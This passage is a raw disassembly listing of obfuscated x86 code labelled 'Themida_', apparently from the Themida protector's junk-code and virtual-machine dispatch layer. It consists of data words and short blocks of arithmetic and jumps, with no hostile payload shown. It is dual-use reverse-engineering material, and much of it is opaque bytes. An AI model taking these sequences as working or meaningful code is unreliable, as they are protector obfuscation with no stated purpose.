		dd 46C58153h, 0C1300A2Ch, 0C58104EDh, 0B59C77Ah, 575DEE29h
		dd 8DA1E9h, 74BB5300h, 0E97F4A23h, 3861h, 8B240C87h, 0B9512424h
		dd 547262F5h, 8159CB29h, 0B0E3FFC3h, 5BDE89FEh,	0B2AAE9h
		dd 0FED5F600h, 6EDC0C5h, 6866DDF6h, 89663EDCh, 0B4502414h
		dd 58E688D8h, 5A66F500h, 0E9BCED80h, 0C650h, 4C481h, 1580000h
		dd 0A125E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5608F6:				; CODE XREF: Themida_:0056B075j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	65D4h
		mov	[esp], edx
		push	3B2h
		jmp	loc_55FDB2
; ---------------------------------------------------------------------------


loc_560914:				; CODE XREF: Themida_:0056711Cj
		mov	edx, 10092DA3h
		shl	edx, 6
		jmp	loc_56BCD7
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 42474FFh, 1F7AE95Fh,	0F7810000h, 5F5576ECh, 1C781h
		dd 0F7810000h, 50FA9CBBh, 7835BA52h, 0CA810EFAh, 1C6E614Eh
		dd 0F074E9h, 5693BE00h,	814E7127h, 0E55D73CEh, 0C431E964h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560962:				; CODE XREF: Themida_:0055E683j
		not	eax
		jmp	loc_567952
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 0Ch
aSdy		db '$ИdY',0
		align 2
		dw 0EBAh
		dd 811E1E6Ah, 986E7DF2h, 60F2817Ch, 0E9705235h,	554Ah
; ---------------------------------------------------------------------------


loc_560988:				; CODE XREF: Themida_:00567DECj
		xor	eax, 3BED506Eh
		sub	eax, 36AA18BCh
		add	eax, 7CAF535Eh
		add	ebx, eax
		pop	eax
		push	ebx
		jmp	loc_5600A1
; ---------------------------------------------------------------------------


loc_5609A0:				; CODE XREF: Themida_:005665F2j
		sub	ecx, esi
		pop	esi
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 62169B8Bh
		mov	ebp, eax
		jmp	loc_56AB80
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFD2D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5609BD:				; CODE XREF: Themida_:0056DE78j
		push	dword ptr [esp]
		jmp	loc_55DF92
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 5624148Bh, 0F084E9h,	2424D200h, 0BAF2E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_56F15E
; ---------------------------------------------------------------------------
aZS8		db '[┤,$\И{8',0
		dw 8300h
		dd 0E95304C3h, 39E5h, 31241433h, 14332414h, 24248B24h
		dd 0AA70E9h, 240C3100h,	5C240C33h, 0B353CDFEh, 0DFCB8041h
		dd 0E98AC380h, 0FB5Eh, 8B2434FFh, 0EC812404h, 4, 89242C89h
		dd 867BE9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560A3A:				; CODE XREF: Themida_:00570679j
		xchg	eax, [esp]
		pop	esp
		push	ecx
		mov	ecx, 250C26D9h
		and	ebp, ecx
		pop	ecx
		xor	ebp, 40C0EC9h
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_55CEF1
; ---------------------------------------------------------------------------
		db 29h,	5Ch, 24h
		dd 246C8104h, 77435B04h, 9BE5612h, 29517726h, 5E082474h
		dd 9770E9h, 241C8B00h, 8104C483h, 4C4h,	1C572100h, 0FF2434FFh
		dd 515A2434h, 0C181E189h, 4, 8904EC83h,	4BA2414h, 81000000h
		dd 437507C1h, 5882E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560AAE:				; CODE XREF: Themida_:00567362j
		sub	edx, 14DC7A72h
		sub	edx, eax
		add	edx, 14DC7A72h
		xchg	eax, edx
		pop	edx
		xor	eax, 0A903F565h
		jmp	loc_55F373
; ---------------------------------------------------------------------------
		dd 4C4815Ah, 0E9000000h, 0FFFFDAE8h
; ---------------------------------------------------------------------------


loc_560AD4:				; CODE XREF: Themida_:00561856j
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_570329
; ---------------------------------------------------------------------------
		dd 0E6E99004h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560AE7:				; CODE XREF: Themida_:00566B02j
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56B67F
; ---------------------------------------------------------------------------
		db 86h,	0FDh, 0E9h
		dd 157Ah
; ---------------------------------------------------------------------------


loc_560B00:				; CODE XREF: Themida_:00569F1Bj
		pop	edi
		push	edi
		mov	edi, 2AA45C86h
		xor	edx, edi
		pop	edi
		shl	edx, 5
		sub	edx, 3BCF1598h
		or	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	esi, 6D381852h
		jmp	loc_562264
; ---------------------------------------------------------------------------
		db 1
		dd 5BC281C2h, 0E93F3D17h, 0AEFFh
; ---------------------------------------------------------------------------


loc_560B34:				; CODE XREF: Themida_:00563A9Fj
		mov	[esp], edi
		xchg	ebx, [esp]
		not	ebx
		xor	[esp], ebx
		jmp	loc_569541
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 0B85004C4h, 3B6546A5h, 2B2EE952h,	0EB810000h
		dd 5578238Ah, 5902B850h, 2BE95C54h, 80000064h, 0EA00D0C5h
		dd 2BEA8059h, 6877F280h, 72B9h,	0E9241C89h, 0FFFFF465h
		dd 9D1C77FFh, 14D25966h, 3DE99C24h, 89FFFFB9h, 52E92414h
		dd 29000008h, 0FFC781EFh, 8B00201Eh, 10E9242Ch,	0BAFFFFBBh
		dd 713A2245h, 0E95AD329h, 0BFE0h, 720CAEBAh, 4ADAF768h
		dd 0F281DAF7h, 683E75A5h, 4D7C281h, 85E95F25h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560BCF:				; CODE XREF: Themida_:00564A7Aj
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp]
		push	ebx
		jmp	loc_562839
; ---------------------------------------------------------------------------
		db 89h
		dd 5AD589DAh, 0FA92D5Bh, 0A8E9091Ah, 450000A7h,	0C2BC581h
		dd 0EF81DBEDh, 27732E3Dh, 0C781EF01h, 27732E3Dh, 4EC815Dh
		dd 89000000h, 0B5E9243Ch, 0F60000D9h, 2EC83DAh,	24048966h
		dd 0E23037B4h, 70E95866h, 8900005Bh, 0DBB82404h, 40261B22h
		dd 4EC81h, 14890000h, 50B5BA24h, 0D021017Eh, 5389E9h
		db 0
; ---------------------------------------------------------------------------


loc_560C49:				; CODE XREF: Themida_:0056B774j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_566046
; ---------------------------------------------------------------------------


loc_560C54:				; CODE XREF: Themida_:00564C42j
		mov	ebx, edi
		pop	edi
		push	4559h
		jmp	loc_55F3FF
; ---------------------------------------------------------------------------


loc_560C61:				; CODE XREF: Themida_:00570C66j
		or	esi, 50E101D6h
		jmp	loc_565242
; ---------------------------------------------------------------------------
		dd 2C6A6CBFh, 0CAE0E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C76:				; CODE XREF: Themida_:00566358j
		pop	edi
		push	ecx
		mov	ecx, 7EDE7425h
		xor	esi, ecx
		pop	ecx
		jmp	loc_55FD16
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd 0D800BF04h, 500CE9h
		db 0
; ---------------------------------------------------------------------------


loc_560C91:				; CODE XREF: Themida_:0055E9C1j
		pop	ebx
		push	eax
		mov	eax, 193103C9h
		sub	eax, 661F5385h
		jmp	loc_56DECE
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 8B686624h, 83596630h, 0FE904ECh
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560CB3:				; CODE XREF: Themida_:0056F47Fj
		push	ebp
		jmp	loc_56459F
; ---------------------------------------------------------------------------
		db 80h,	0EDh, 11h
		dd 6EAD68h, 240C8900h, 1244CFEh, 0D7A9E959h, 53590000h
		dd 0E955E389h, 89E7h, 2414F651h, 223BE959h, 0BA520000h
		dd 4, 4245401h,	0B71EE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560CF2:				; CODE XREF: Themida_:0056E46Bj
		push	7A47282Dh
		pop	edi
		shl	edi, 4
		push	ecx
		mov	ecx, 44B40923h
		sub	edi, ecx
		pop	ecx
		sub	edi, 1
		jmp	loc_56F181
; ---------------------------------------------------------------------------
		dd 0BABD5553h, 8932FA4Ah, 242C8BEBh, 4304C483h,	2414F753h
		dd 0E9D3F75Bh, 0FFFFE0ECh
; ---------------------------------------------------------------------------


loc_560D28:				; CODE XREF: Themida_:00566310j
		inc	edi
		shr	edi, 4
		add	edi, 0F034440Fh
		push	edi
		jmp	loc_569D9F
; ---------------------------------------------------------------------------


loc_560D38:				; CODE XREF: Themida_:005697D7j
		shr	ebp, 1
		add	ebp, 0FA575844h
		sub	edx, ebp
		pop	ebp
		add	edx, ebp
		add	edx, 2A2E0883h
		add	edx, 4DF00005h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_563B9B
; ---------------------------------------------------------------------------
aISG		db '┬тИгё',0
		align 2
		dw 0BE56h
		dd 4, 565EF201h, 0F2EE9h, 0C4815C00h, 4, 8904EC83h, 0E589242Ch
		dd 4C581h, 68500000h, 4, 58C52958h, 31242C33h, 2C33242Ch
		dd 97A2E924h, 248B0000h, 0EE98124h, 815DAA45h, 3D705DE9h
		dd 81F90110h, 3D705DC1h, 0EC18110h, 885DAA45h, 2434FF01h
		dd 0E9240C8Bh, 0D4E6h, 0E9240489h, 0FFFFC1C4h, 8A7DA92Dh
		dd 2434FF3Fh, 83243C8Bh, 0E95704C4h, 61B4h, 4C481h, 81510000h
		dd 5CD4242Ch, 0E95F35BAh, 0FFFFCE23h, 4BBh, 2CAEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560E06:				; CODE XREF: Themida_:00561304j
		pop	esp
		mov	[esp], esi
		push	3DA9h
		mov	[esp], edx
		push	673A759Ah
		jmp	loc_5655F9
; ---------------------------------------------------------------------------
		dd 4B46EA81h, 0F20151A9h, 0FFC696E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E29:				; CODE XREF: Themida_:0056AA93j
		add	ebx, 4
		jmp	loc_56D2B3
; ---------------------------------------------------------------------------


loc_560E34:				; CODE XREF: Themida_:0056EAC8j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	eax, 2C7E6920h
		jmp	loc_55DA78
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0Bh
		dd 531FA617h, 4EC81h, 2C890000h, 0D420E924h, 0E1890000h
		dd 4C181h, 0A0E90000h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560E73:				; CODE XREF: Themida_:00564220j
		push	ebx
		jmp	loc_55E759
; ---------------------------------------------------------------------------
		db 0E9h, 4Eh, 0B6h
		dd 815DFFFFh, 4C5h, 24DC6800h, 4890000h, 4B824h, 10680000h
		dd 8900005Dh, 0B7B82404h, 81232B2Ch, 331F33EDh,	0E9C50150h
		dd 0FF53h, 0B2525159h, 5AD188F1h, 0E989F180h, 947Fh
; ---------------------------------------------------------------------------


loc_560EBC:				; CODE XREF: Themida_:0056D1BAj
		push	edi
		jmp	loc_56B245
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4D082444h, 13B6556h,	81082454h, 4D08246Ch, 8B3B6556h
		dd 0C4832414h, 24348B04h, 4C481h, 4010000h, 3BB85024h
		dd 1582863h, 58042444h,	0FFB5D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560EF9:				; CODE XREF: Themida_:0056B703j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	eax, 0Ch
		xor	eax, ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56817F
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 4
		dd 0E6895624h, 4C681h, 0F9E90000h, 8100003Fh, 8CC8C8C3h
		dd 1CBE9CCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560F36:				; CODE XREF: Themida_:0056925Aj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	698Eh
		mov	[esp], ecx
		push	eax
		mov	eax, 114D320Dh
		sub	eax, 114D320Ch
		jmp	loc_5641DD
; ---------------------------------------------------------------------------


loc_560F5E:				; CODE XREF: Themida_:0055DBD3j
		add	edi, edx
		pop	edx
		shl	edi, 6
		or	edi, 2A950975h
		sub	esp, 4
		jmp	loc_561309
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0A3h
		dd 0E967DED6h, 0F72Dh
; ---------------------------------------------------------------------------


loc_560F80:				; CODE XREF: Themida_:0056364Dj
		add	esp, 4
		jmp	loc_569C12
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD25966h, 35E99C24h, 66FFFFB5h, 50240C8Bh
		dd 0B951E089h, 4, 0E2E9C801h, 52FFFFF5h, 42474FFh, 24048F5Ah
		dd 243C895Ch, 294168h, 0B5E95400h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560FC3:				; CODE XREF: Themida_:00565746j
		add	esp, 4
		mov	ebx, [esp]
		push	2CA9h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55F0BD
; ---------------------------------------------------------------------------


loc_560FDB:				; CODE XREF: Themida_:00567C0Fj
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_568E65
; ---------------------------------------------------------------------------
		db 1
		dd 0C38359CBh, 241C8704h, 512DE95Ch, 0C4830000h, 0E5D15804h
		dd 93F58145h, 0E94EF8ACh, 8037h, 3DE9F801h, 8BFFFFBFh
		dd 0C483242Ch, 9377E904h, 0C4830000h, 993CE904h, 8B540000h
		dd 0C481242Ch, 4, 112AB850h, 0E8C10B90h, 38B1E905h, 0E2810000h
		dd 4695556Eh, 59CABB53h, 0DA317F96h, 5AD0015Bh,	605AF62Dh
		dd 89B6E90Dh, 0E95D0000h, 25A7h
; ---------------------------------------------------------------------------


loc_56105C:				; CODE XREF: Themida_:005658BDj
		push	esi
		mov	esi, 0AA92061h
		sub	esi, 98C6E04h
		xor	esi, 0AB9F4A8h
		or	edx, esi
		pop	esi
		push	esi
		mov	esi, 95B71DA3h
		add	edx, esi
		pop	esi
		xor	ebx, edx
		pop	edx
		jmp	loc_56D7C9
; ---------------------------------------------------------------------------


loc_561082:				; CODE XREF: Themida_:0056F1B9j
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 61C02BDBh
		add	ebx, ecx
		push	esi
		jmp	loc_56AE46
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 4F58E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5610A6:				; CODE XREF: Themida_:0056A439j
		add	edi, 4
		push	eax
		push	4
		pop	eax
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_55CB10
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 16E9240Ch
		db 0B4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5610CF:				; CODE XREF: Themida_:005601EDj
		mov	eax, esp
		push	edx
		push	eax
		mov	eax, 6CAE4A66h
		sub	eax, 0FFFFFFFFh
		not	eax
		or	eax, 50FA1308h
		jmp	loc_564348
; ---------------------------------------------------------------------------


loc_5610E7:				; CODE XREF: Themida_:00563912j
		push	edi
		mov	edi, 4
		add	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_55FC4A
; ---------------------------------------------------------------------------
aS_8		db ')зИ%',27h,0
		align 4
		dd 5704EF83h, 85F0E9h, 81E58900h, 4C5h,	4C58300h, 8B242C87h
		dd 0F8012424h, 5A4FE9h,	0E9555100h, 0FFFFF002h
; ---------------------------------------------------------------------------


loc_561130:				; CODE XREF: Themida_:00568CE3j
		mov	eax, 9393A60Fh
		add	ecx, 0A5C6662h
		add	ecx, eax
		sub	ecx, 0A5C6662h
		mov	eax, [esp]
		add	esp, 4
		sub	edi, ecx
		pop	ecx
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_56A66E
; ---------------------------------------------------------------------------
		db 68h,	2Ch, 64h
		dd 3C890000h, 343BBF24h, 0C4E905CCh, 8900009Ah,	4C381E3h
		dd 83000000h, 1C8704C3h, 0B8505C24h, 4AA0CCEDh,	10E9C201h
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56118B:				; CODE XREF: Themida_:005651BAj
		mov	edx, 2A0454A7h
		sub	esi, edx
		pop	edx
		pop	eax
		xchg	esi, [edi+24h]


loc_561197:				; CODE XREF: Themida_:00568D35j
		push	edi
		push	ebx
		push	ebp
		mov	ebp, 52005913h
		sub	dword ptr [esp+4], 0E1D63F5h
		jmp	loc_56DD29
; ---------------------------------------------------------------------------


loc_5611AC:				; CODE XREF: Themida_:0055EB56j
		push	edx
		mov	edx, esi
		mov	[edi+24h], edx
		pop	edx
		jmp	loc_56B16A
; ---------------------------------------------------------------------------
		dd 0D7ACF281h, 0D501DF96h, 242C335Ah, 33242C31h, 248B242Ch
		dd 0F9F76624h, 0BDE95457h, 66FFFFE3h, 0BC69E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5611DE:				; CODE XREF: Themida_:00563EBAj
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5647AC
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0BAD5E953h, 0EC81FFFFh, 4, 0BF243C89h, 6CD303D8h, 3DECE9h
		dd 242C8700h, 0E924248Bh, 865Eh
; ---------------------------------------------------------------------------


loc_561210:				; CODE XREF: Themida_:0056E9EFj
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55EB5B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 5702E9C1h, 52FBBFh, 25F7812Dh, 814AB871h
		dd 886A29E7h, 2EFC16Ch,	3ED9F781h, 0C78157FDh, 0EB1EEE0Ch
		dd 3C8BF929h, 4C48124h,	81000000h, 630E53C1h, 2F9EE967h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56126E:				; CODE XREF: Themida_:0056EB81j
		mov	edi, esp
		push	ecx
		jmp	loc_569917
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FC0Dh, 0E959CA01h, 978Fh
; ---------------------------------------------------------------------------


loc_561284:				; CODE XREF: Themida_:00565BC8j
		xor	ebx, esi
		mov	esi, [esp]
		jmp	loc_56720A
; ---------------------------------------------------------------------------


loc_56128E:				; CODE XREF: Themida_:0056BED7j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebp
		mov	ebp, 7EE20773h
		sub	ebp, 7EE2076Fh
		add	esi, ebp
		pop	ebp
		add	esi, 4
		jmp	loc_570976
; ---------------------------------------------------------------------------


loc_5612B6:				; CODE XREF: Themida_:0056894Ej
		add	eax, ebx
		jmp	loc_569461
; ---------------------------------------------------------------------------
		db 0BAh, 0FDh, 0
		dd 0CA816A20h, 55B23AC3h, 4A04EAC1h, 1F06E9h, 4BA00h, 0D0890000h
		dd 0B458E95Ah, 81590000h, 3A2245C3h, 0CAC38171h, 163331Fh
		dd 0CAEB81FBh, 5263331Fh, 0FFF8AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5612F9:				; CODE XREF: Themida_:00562754j
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_560E06
; ---------------------------------------------------------------------------


loc_561309:				; CODE XREF: Themida_:00560F70j
		mov	[esp], edx
		jmp	loc_563988
; ---------------------------------------------------------------------------
aTHuy		db 'T[huY',0
		align 4
		dd 68243489h, 1E5B5820h, 56CE815Eh, 0E9657644h,	9CD7h
		dd 4C3815Ch, 81000000h,	4C3h, 241C8700h, 8F24248Bh, 0E95C2404h
		dd 0FFFFB184h
; ---------------------------------------------------------------------------


loc_561348:				; CODE XREF: Themida_:00562CFEj
		push	ecx
		push	eax
		mov	eax, 4DC77FCCh
		mov	ecx, eax
		jmp	loc_56F03F
; ---------------------------------------------------------------------------
		dw 3487h
		dd 1C895C24h, 349EBB24h, 0EB8142C8h, 223F6099h,	0E3C1D3F7h
		dd 0D1EB8108h, 2D47C30Bh, 1D6D0D09h, 0FFD9D3E9h, 0B14AE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561382:				; CODE XREF: Themida_:0055C4D7j
		mov	dl, 24h
		dec	dl
		sub	dl, 0FFh
		xor	dl, 8Bh
		jmp	loc_56424F
; ---------------------------------------------------------------------------
		db 5Ah,	0F7h, 0DFh
		dd 5D04EF81h, 81470A6Bh, 164634CFh, 0BEC78123h,	29A59340h
		dd 243C8BFBh, 4C481h, 0EB810000h, 0E812049h, 5181E9h, 271CBF00h
		dd 0E9564CD1h, 0A000h, 0FA89D729h, 0ECE9505Fh, 10000B9h
		dd 1C875AD3h, 0C97FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5613DE:				; CODE XREF: Themida_:00561C14j
		add	ebx, 525740F9h
		jmp	loc_56AFF6
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 0F5h
		dd 660000ACh, 66240C89h, 66C8B60Fh, 0CDE99C51h,	0BBFFFFB0h
		dd 4, 0E95BD801h, 66E1h
; ---------------------------------------------------------------------------


loc_56140C:				; CODE XREF: Themida_:0056A8ADj
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, ebx
		jmp	loc_561EE8
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 63E90000h, 530000CDh, 0DFF65AB7h, 6753E9h, 84E95300h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56143B:				; CODE XREF: Themida_:0056729Dj
		sub	dh, 1
		xor	dh, 0A7h
		sub	dh, 69h
		xor	ch, dh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	dh, 0DEh
		add	dh, 7Eh
		or	dh, 0E2h
		not	dh
		xor	dh, 0C1h
		jmp	loc_55E33B
; ---------------------------------------------------------------------------


loc_56145F:				; CODE XREF: Themida_:005641E8j
		push	ebx
		mov	ebx, 55DB7DA5h
		add	dword ptr [esp+8], 0BC43730h
		sub	[esp+8], ebx
		sub	dword ptr [esp+8], 0BC43730h
		pop	ebx
		sub	dword ptr [esp+4], 83E748Dh
		add	[esp+4], ecx
		add	dword ptr [esp+4], 83E748Dh
		add	dword ptr [esp+4], 55DB7DA5h
		push	edx
		push	ebp
		mov	ebp, 18022F84h
		shl	ebp, 3
		shl	ebp, 4
		xor	ebp, 3EF3950Ch
		mov	edx, ebp
		jmp	loc_55E325
; ---------------------------------------------------------------------------
		dd 0D430D2B4h, 5A2434FFh, 0FFB7DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5614BD:				; CODE XREF: Themida_:0055DD24j
		pop	edi
		add	esi, eax
		sub	esi, 77087E98h
		pop	eax
		xchg	esi, [esp]
		pop	esp
		add	edi, 52005913h
		sub	esp, 4
		jmp	loc_56CE39
; ---------------------------------------------------------------------------
		dd 805AF108h, 0C1FEDAC9h, 0CFC180h, 0C8B66C8h, 2C48324h
		dd 330EE9h, 29C68100h, 0E91D0246h, 78C1h
; ---------------------------------------------------------------------------


loc_561500:				; CODE XREF: Themida_:00568989j
		add	esp, 4
		xor	al, bh
		pop	bx
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAsi		db 'aИ╘с',0
		dd 0E9545500h, 0D073h, 0C7F30735h, 58C389E1h, 1C8BD909h
		dd 0C9C7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56152E:				; CODE XREF: Themida_:00568EB8j
		neg	eax
		dec	eax
		jmp	loc_565A86
; ---------------------------------------------------------------------------
		dw 8151h
		dd 4ECh, 243C8900h, 38546068h, 0EF815F20h, 0D77174Eh, 0E95FF989h
		dd 0B253h, 4EC81h, 2C890000h, 0CD2E924h, 0C15B0000h, 0F79302E8h
		dd 0EE2D93D3h, 1DAFDEBh, 0EB8158C3h, 386D341Dh,	8B37E9h
		dd 0EF06800h, 2C890000h, 44A2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56158A:				; CODE XREF: Themida_:0056CF27j
		dec	ebx
		push	ebp
		mov	ebp, 58FD773Eh
		not	ebp
		inc	ebp
		xor	ebp, 1B2B0ABCh
		or	ebp, 0F287491h
		xor	ebp, 0A766E9F5h
		or	ebx, ebp
		pop	ebp
		sub	ebx, 0DA0E3AD6h
		mov	ebp, ebx
		jmp	loc_566A82
; ---------------------------------------------------------------------------


loc_5615B6:				; CODE XREF: Themida_:0055F88Cj
		push	4844h
		mov	[esp], edx
		jmp	loc_5684E2
; ---------------------------------------------------------------------------


loc_5615C3:				; CODE XREF: Themida_:00568560j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		push	67BBh
		mov	[esp], esi
		jmp	loc_56F059
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 72EDE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5615F2:				; CODE XREF: Themida_:005670A3j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		push	ebp
		mov	ebp, 4D0E0274h
		mov	ecx, ebp
		pop	ebp
		push	esi
		jmp	loc_56026C
; ---------------------------------------------------------------------------
		db 68h
		dd 7261h, 0A1B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_561611:				; CODE XREF: Themida_:00564EFCj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56BB12
; ---------------------------------------------------------------------------


loc_561621:				; CODE XREF: Themida_:0056D93Fj
		push	ebp
		jmp	loc_56181B
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0E0F7079h, 4228E9h, 0ECE95200h, 580000F0h, 0A3A5E9h
		dd 0C6814E00h, 1D6C6882h, 0AEE9F221h, 540000C4h, 0FFD245E9h
		dd 6E2C1FFh, 7ED0C281h,	21E949ABh, 88000085h, 0F449E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561666:				; CODE XREF: Themida_:0056251Aj
		sub	ecx, 68917EF1h
		inc	ecx
		jmp	loc_56B4DA
; ---------------------------------------------------------------------------
		dw 0FF59h
		dd 815E2434h, 4C4h, 0D0315F00h,	0E189515Ah, 4B850h, 0C1010000h
		dd 582434FFh, 6804C483h, 36FAh,	0BE243489h, 35B160ADh
		dd 0D38BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5616A5:				; CODE XREF: Themida_:005702CCj
		sub	esp, 4
		mov	[esp], edx
		push	5DB0h
		jmp	loc_570DCF
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFF14AE9h, 0E58851FFh, 5859EA88h, 59CC885Bh
		dd 0FFD221E9h, 48B66FFh, 44E95624h, 8100008Eh, 0AC354CF7h
		dd 3EFC112h, 0FFF245E9h, 39A7BFFFh, 7C310D8Ch, 0FF5F0424h
		dd 48B2434h, 3AE95024h,	6800001Ah, 1731h, 52242489h, 0C2815A54h
		dd 4, 7EA6BE56h, 0E946656Eh, 0BAA3h, 3C0DB1BBh,	8BEB293Fh
		dd 8956242Ch, 372FE9E6h, 0C4830000h, 4EC8304h, 54241C89h
		dd 0B850565Bh, 4, 158C689h, 0EC835EF3h,	24148904h, 4BAh
		dd 0E9D30100h, 710h
; ---------------------------------------------------------------------------


loc_561758:				; CODE XREF: Themida_:005668E6j
		add	ebx, ebp
		add	ebx, 520F4B7Fh
		pop	ebp
		add	eax, 3BFA61D5h
		sub	eax, 42AD1FB2h
		sub	eax, 60183FB0h
		add	eax, ebx
		add	eax, 60183FB0h
		add	eax, 42AD1FB2h
		sub	eax, 3BFA61D5h
		pop	ebx
		jmp	loc_567053
; ---------------------------------------------------------------------------
aAonSH		db '╦═O╜',9,'И(H',0
		dd 243C8B00h, 5504C483h, 0A2BBE9h, 2434FF00h, 0FF2434FFh
		dd 815A2434h, 4C4h, 5A545200h, 0B8F6E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5617B6:				; CODE XREF: Themida_:0056C2A7j
		xchg	eax, [esp]
		mov	esp, [esp]
		add	edx, 4
		push	38AFh
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5709AA
; ---------------------------------------------------------------------------
		db 81h
		dd 1C6h, 0C6814E00h, 0FFDFFF04h, 20E9F201h, 500000DAh
		dd 8C38E9h, 4C48100h, 53000000h, 4BBh, 5BDF0100h, 4EF81h
		dd 3C870000h, 0BDE95C24h, 81FFFFF5h, 956CEAC9h,	63E9412Eh
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56181B:				; CODE XREF: Themida_:00561622j
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
